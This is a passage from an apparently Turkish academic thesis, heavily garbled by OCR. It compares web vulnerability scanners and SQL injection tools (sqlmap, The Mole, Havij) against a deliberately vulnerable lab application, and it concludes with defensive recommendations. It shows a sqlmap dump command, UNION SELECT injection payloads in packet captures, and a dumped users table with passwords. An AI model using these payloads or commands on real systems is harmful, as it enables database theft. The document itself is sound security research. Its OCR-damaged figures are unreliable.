00000001 11110110 10000101 00110101 DDOEODEO DOEODEOD QRAOREGL AROREEEL 5
00001000 00001010 00001010 00011100 10001111 11111101 OREEREAE 10180111
01111010 00111010 01000111 01000101 01010160 ©O16OREO EE101111 81110011  z:GET /s
01110001 01101100 01101001 00101111 01100161 H1111600 91108061 B1161161  gli/exam
01110000 01101100 01100101 00110001 00191110 §1110000 91101800 91118080 plel.php
00111111 01101110 01100001 01101101 01100101 09111101 01110010 81181111  ?name=ro
01101111 01110100 00100101 00110010 00110111 DP10P101 PR116016 BA116060  ot%27%20
01010101 01001110 01001001 01601111 01001110 DP100101 PR116016 BO116660  UNION%20
01000001 01001100 01001100 00100101 00110010 DO110000 01010011 B10BA181  ALL%2OSE
01001100 01000101 01000011 01010100 00100101 00110010 GB110000 A1000011  LECTE20C
01001111 01001110 01000011 (1000001 01010160 ©O160101 AE110010 BE111080  ONCATH28
00110000 01111000 00110111 00110001 00110111 §1160001 AE116111 BE111080 Ox717a78 =

Sekil 4.33. Sqlmap tablo i¢indeki bilgiler igin veri yiikii sorgusu.

Database: exercises
Table: users

[4 entries]
—
| id | groupid

—

passwd

| admin

| admin21

| secret
azerty

|
|
1
J
|

] table 'exercises.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.1.11/dump
users.csv'

] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.11"

[*] ending @ 16:16:44 /2021-12-25/

root@kali:~# sqlmap -u http://192.168.1.11/sqli/examplel.php?name=root --dumpl

Sekil 4.34. Sqlmap tablo i¢i bilgileri i¢in -- dump komutu.

The Mole programi Kali Linux isletim sistemi iizerinde “python3 mole.py” komutu
verilerek program ¢aligtirilmistir. Komut satirinda “needle root” ile yonetici izni saglanir.
Programin URL taramasi sonrasi tablo igindeki bilgileri getirmesi i¢in Sekil 4.35°te
gosterilen komut kullanilarak es zamanli olarak wireshark {izerinde gergeklestirdigi veri
yiikii denemeleri analiz edilmistir. Tablo i¢indeki bilgileri ¢ekerken “concat” fonksiyonu
ile siitun ad1 parametreleri yardimiyla yaptig1 anlasilmistir. Sekil 4.36’da da gosterildigi

gibi siitun adlar1 verilerinden “name” bagligini getirdigi tespit edilmistir.
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rcises users agde,groupid,id,name,passwd

| name

b1d%2C+0x20%29%2CTFNUL L%2B1d%2C+0x20%29%2CIFNULL%2¢namekbc+o

Wireshark - Packet 37 - sqglmap_siitunicibilgiler_name.pcapng

Frame 37: 5688 bytes on wire
Ethernet II, rc: VMware_|
1 versi
Seq: 1449, Ack:

Hypertext Transfer Protocol
HTTP/1.1 260 OK\r\n
Date: Stiﬂ, 26 2021 20
sServer: Ap'c'u:
X-Powered-By

d</th><t
9111116 e11e111¢ e11e0661 eilleliel 61160161 00111166 0101111 h>name=<,’
011016000 88111116 08111166 @1110160 611016808 0e111110 81180861  tiv--~ii-d
01100101 08111100 00101111 01110160 ©1101000 PE111110 BE111100
01116106 01116016 8111110 (EEE1010 EEE01EE1 GPEE1E01 PE111106
0111606016 08111116 08111166 61110160 611600160 8111116 01118168
00181101 08111810 EE1110160 00110001 PE1160060 01111110 BE1E0110
0011066068 01111110 0160116 01160001 £1111116 96100116 01100081
91101101 01101061 61161110 €1111110 GE106110 €1166001 1160106
01181601 01161116 601110160 @6111010 08101161 86111016 BE111618
00181111 91110100 011001060 ©6111110 EE111160 /1110160 61100108
201160661 66111160 0161111 1110160 81100100 96111110 EE111166 >d</td><

Sekil 4.36. The Mole tablo i¢indeki bilgilerin veri ytikii analizi.

Web uygulamalarinda bulunan SQL enjeksiyon zafiyetinin belirlenmesine yonelik ¢esitli
yontemler bulunmaktadir. Yapilan ¢aligmada zafiyetin belirlenmesine yonelik
gerceklestirilen veri yiikleri elle yapilacagi gibi otomatik yiik denemeleri gergeklestiren
yazilim araglariyla da yapilabilecegi anlasiimistir. Zafiyetin belirlenmesinde ¢esitli web
uygulama zafiyet tarayicilar1 ve SQL enjeksiyon sorgu araglari denenmistir. Calismada
kullanilan web uygulama tarayicilarinin yapmis olduklar1 veri yiikleri incelendiginde
zafiyeti belirlemeye yonelik olusturmus olduklari sorgularda mantiksal baglaglar ve
karakterler kullandiklar1 tespit edilmistir. Acunetix, netsparker ve safe3 web zafiyet
tarayicilarinin gergeklestirmis olduklar1 sorgular incelendiginde, AND ve OR mantiksal
baglaclar1 yardimiyla yapilan veri yiikii denemeleri ve sorgu bolme yontemleriyle SQL
sorgu kosullar1 degistirilerek veritabani tarafindan gelen yanitlar ile SQL enjeksiyon
zafiyeti tespit edilmektedir. Ayrica acunetix ve netsparker zafiyet tarama araglarinin SQL

enjeksiyon zafiyetinin  belirlenmesindeki  basarili  veri  yiikii denemelerinin
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saglanmasindaki mantiksal sorgularin verileri ¢ekmeye yonelik dogrulama sonuglari

aynidir.

Safe3 programi zafiyetin belirlenmesindeki tercihi 6ncelikle mantiksal SQL karakterleri
yardimiyla oldugu tespit edilmistir. Safe3 web zafiyet tarama arac1 SQL enjeksiyon
zafiyetinin belirlenmesinde diger web zafiyet tarama araclarina gore daha hizli sonuglar
irettigi fakat olusturdugu raporlama sonuclar1 diger araglara goére ¢cok daha az oldugu

gorilmiistiir.

SQL enjeksiyon zafiyetin belirlenmesinde otomatik olarak SQL enjeksiyon denemeleri
yapan havij, sqlmap, the mole araclari analiz edilmis, bu araglar SQL enjeksiyon
zafiyetinin belirlenmesinde zafiyeti somiirmeye yonelik olarak SQL sorgular ile web
uygulama veritabaninda bulunan bilgileri ¢ekebildikleri goriilmiistiir. Bu araglarla
zafiyetin belirlenmesi ve veritabanindaki bilgilerin c¢ekilmesine yonelik ilerleme
adimlarinda ortak oncelik tablo adina ulagsmak oldugu goriilmiistiir. Araglarla tespit edilen
tablo adi bilgisinden sonra tablodaki siitun adlarinin kesfini yapmak tablo i¢indeki
bilgileri ¢ekebilmek igin gerekli oldugu goriilmiistiir. Veritabaninda bulunan bilgileri
cekebilmek icin Cizelge 4.6’ da goriildiigii gibi olusturulan SQL enjeksiyon sorgularinin
igerisinde ‘““age, groupid, id, name, passwd” siitun adlarinin kullanilarak yapildig: tespit

edilmistir.

SQL enjeksiyon araclarinin calismadaki web uygulamalarina yaptiklart veri yiikii
denemelerinde tablo adin1 ¢ekmek i¢in table name nesnesinin sorgu i¢inde kullanildigi,
tablo icerisindeki siitun adlarin1 ¢ekebilmek i¢in column name nesnesinin kullanildig:
gorilmistiir. Tablo igerisindeki bilgileri ¢ekebilmek icin tespit edilen siitun adlari
kullanilarak “concat” fonksiyonu ile tablodaki degerlerin birlestirilmesi ve getirilmesine

yonelik SQL enjeksiyon sorgusunun olusturuldugu tespit edilmistir.

SQL enjeksiyon zafiyetinin veri ylikii lizerinden belirlemeye yonelik olarak yapilan bu
caligmada literatiir arastirmasinda belirtilen calismalara ek olarak bu zafiyetin
belirlenmesinde kullanilan cesitli penetrasyon test araclari ve elle yapilan analizler
karsilagtirildi. Belirtilen araglarin her biri kullanilarak web for pentester uygulamasi

tizerinde bulunan SQL enjeksiyon zafiyetinin belirlenmesi islemi yapildu.

Zafiyetin belirlenmesine yonelik olarak yapilan SQL enjeksiyon veri yiikii denemeleri,
araclarin gerceklestirmis oldugu ve elle yapilan sorgular incelenerek tespit edildi. Bu

araglarla web uygulamasinda bulunan veri tabanina ait bilgilere yonelik olarak yapilan
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tablo adi, slitun adi, veri taban igerisindeki saklanan verilere yonelik SQL enjeksiyon

veri yiikii denemeleri analiz edilerek cizelge haline getirilmistir.

SQL enjeksiyon araglar1 ve elle yapilan veri ylikii denemeleri incelendiginde tablo adi,
stitun adi, tablo i¢i bilgilerini almaya yonelik SQL enjeksiyon isleminde olusan sorgu
ifadelerinde kullanilan nesnelerin, fonksiyonlarin ¢izelgelerde goriildiigli gibi aralarinda

benzerliklerin oldugu anlasilmistir.
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5. SONUCLAR VE ONERILER

Giliniimiizde basta web uygulamalarinda bulunan SQL enjeksiyon zafiyetleri kritik
derecede giivenlik agisindan 6neme sahiptir. Kurum ve kuruluslara siber saldirganlar
tarafindan 6nemli seviyedeki 6zellikle gizli bilgileri ele gegirmek igin bircok kez SQL
enjeksiyon saldirilar1 yapilmaktadir. Bu saldirilardan korunmak igin ¢esitli giivenlik
onlemleri alinmaktadir. Bunlar arasinda giivenlik duvarlari, saldir1 tespit ve dnleme
sistemleri kullanilmali ve her seyden once SQL enjeksiyon zafiyetinin istismar
edilememesi i¢in yazilim gelistiricileri kullandiklar1 kod ortaminda giivenli yazilim

gelistirmelidirler.

Calismada SQL enjeksiyon =zafiyeti barindiran web uygulamalari iizerinde
gerceklestirilen SQL enjeksiyon veri yiikii denemeleri ile zafiyet belirleme analizi
yaptlmistir. Bu zafiyetten faydalanilarak c¢esitli SQL enjeksiyon sorgulart ile
veritabanindan bilgiler ¢ekilmis ve bu sorgulara ait veri yiikleri tespit edilerek
incelenmistir. SQL enjeksiyon zafiyetinin belirlenmesinde elle yapilan sizma testi
yaklasimi ile SQL enjeksiyonu veri yiikii denemeleri, ayn1 zamanda pentest islemlerinde
kullanilan SQL enjeksiyon araclart ve web =zafiyet tarayicilari kullanilarak
gerceklestirilmistir.  Yapilan veri yiikii denemelerinde SQL enjeksiyon zafiyetin
belirlenmesinde basarili veri ylikii denemeleri tespit edilmis, yiikler arasindaki benzerlik
ve farkliliklar karsilastirilmistir. SQL enjeksiyon zafiyetinin belirlenmesinde otomatize
araclar cok sayida payload istegi gerceklestirdiklerinden dolayr yapilan siber saldirilarin
tespiti glivenlik cihazlarinda, log kayitlarinda fark edilmesi elle yazilan payload
denemelerinden daha kolay olacaktir. Ciinkii otomatik araglarla yapilan payload
denemeleri sunucuya kisa zaman aralifinda ¢ok fazla sayida istek gondermesinden dolay1
web sunucusuna daha fazla yiik bindirmekte ve kisa zaman araliklarinda asir1 istek

yapmaktadir.

Kurum ve kuruluslar sistemlerine yapilabilecek siber saldirilardan 6nce kendi sunucu ve
bilgisayar sistemlerine bu ¢alismada oldugu gibi SQL enjeksiyon zafiyetinin varligim
cesitli SQL enjeksiyon etkin veri yiikii denemeleri ile tespit ederek, sistem iizerinde
bulunan giivenlik agig1 kapatilabilir. Bdylece kurum aginda bulunan sistemlerin zarar
verilmesine ve ayrica gizli derecedeki verilerin siber saldirganlar tarafindan ele

gecirilmesine kars1 6nlem alinmasini saglar.
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